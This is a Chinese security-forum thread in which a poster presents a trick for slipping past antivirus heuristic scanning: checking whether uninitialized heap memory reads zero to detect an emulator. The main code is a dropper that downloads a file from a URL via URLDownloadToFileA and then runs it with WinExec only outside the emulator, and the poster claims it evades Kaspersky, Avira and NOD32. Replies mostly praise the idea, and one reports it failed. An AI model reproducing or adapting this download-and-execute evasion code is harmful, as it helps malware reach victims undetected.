利用堆空间突破启发式

ＦorＸuān

这个思路是前几天复习指针时突然想到的，我们先来看一段代码：

1. char *p = new char[3];
   
2. *(p+1) = 'f';
   
3. printf("%x\n",*p);
   
4. printf("%c\n",*(p+1));
   
5. printf("%x\n",*(p+2));

复制代码

写这段代码当时是为了测试堆空间，输出结果为：
ffffffcd
f
ffffffcd

从结果中可以看到，除了中间那个“f”是我赋值的，上、下两个数都是是堆空间申请后的初始值。当时我就觉得0xffffffcd这个数值应该是系统用来识别堆空间用，这样在释放的时候就可以根据这个数值识别应该回收哪些字节了。这时编译的模式是Debug模式，于是下意识的调用成Release模式，再次编译后竟出现了不同的结果：
0
f
0
我们可以看到Release模式后，堆空间的初始值变成了0,至于为什么变成0我至今也没搞清楚（本人水平有限，如果有知道的朋友还望指出原因）。但马上就跟免杀方面联系到了一起，Debug的调试模式，它的堆空间就有初始值，那的虚拟机环境也可以算是一个调试模式了，那里面的堆空间会不会也是有初始值的呢？于是拿卡巴做了一个实验，证明我的想法是没错的，由此我们就可以利用这一点来突破卡巴的启发式查杀，下面是主要的代码：

1. HINSTANCE hi;
   
2. hi=LoadLibrary("urlmon.dll");
   
3. PVOID Down=GetProcAddress(GetModuleHandle("urlmon.dll"),"URLDownLoadToFileA");
   
4. _asm
   
5. {
   
6.         push 0
   
7.         push 0
   
8.         push Str
   
9.         push Url
   
10.         push 0
    
11.         call Down
    
12. }
    
13. FreeLibrary(hi);
    
14. char *p1=new char[1];
    
15. if((*p1)==0)
    
16. {
    
17.         hi=LoadLibrary("kernel32.dll");
    
18.         PVOID Run=GetProcAddress(GetModuleHandle("kernel32.dll"),"WinExec");
    
19.         _asm
    
20.         {       
    
21.                 push SW_SHOW
    
22.                 push Str
    
23.                 call Run
    
24.         }
    
25.         FreeLibrary(hi);
    
26.         delete p1;
    
27. }

复制代码

代码很简单，就是利用判断新申请的堆空间的初始值是否为0，不为0就说明是在上马的虚拟机环境内，则不会执行完整功能。此段代码在多台WINXP SP3和WIN 7环境下测试通，均可以成功下载并运行记事本。卡巴、小红伞、NOD32的启发式也都全部免杀。


由于想申请核心会员用的，所以附上杂志上证明原创的图片，让大牛们见笑了

Tesla.Angela

思路新颖，风格独特，不错！

ＦorＸuān

{:soso_e149:}
唉，让各位前辈见笑了，跟各位比起来我还有很长一段路要走

Tesla.Angela

ＦorＸuān 发表于 2011-11-3 22:00
唉，让各位前辈见笑了，跟各位比起来我还有很长一段路要走

谁都是这么一路走过来的。

LittlePig

vmp的壳好像就可以拒绝在虚拟机中运行……不知道是啥原理……

rshell

测试了一下好象不给力 没有用哈哈

1. int main(int argc, char* argv[])
   
2. {
   
3.         char *p1=new char[1];
   
4.         if ((*p1)==0)
   
5.         {
   
6.                 printf("能看到我不？\r\n");
   
7.         }
   
8.         delete p1;
   
9.         getchar();
   
10.         return 0;
    
11. }

复制代码

ximenwuzhu

思路确实很新颖，赞一个

ywledoc

我在想，是来了这论坛再去黑防，还是在黑防然后来论坛的？！？！？

watchsky

思路很新啊，判断杀软要比那些反调试技术简单的多

upring

支持一下吧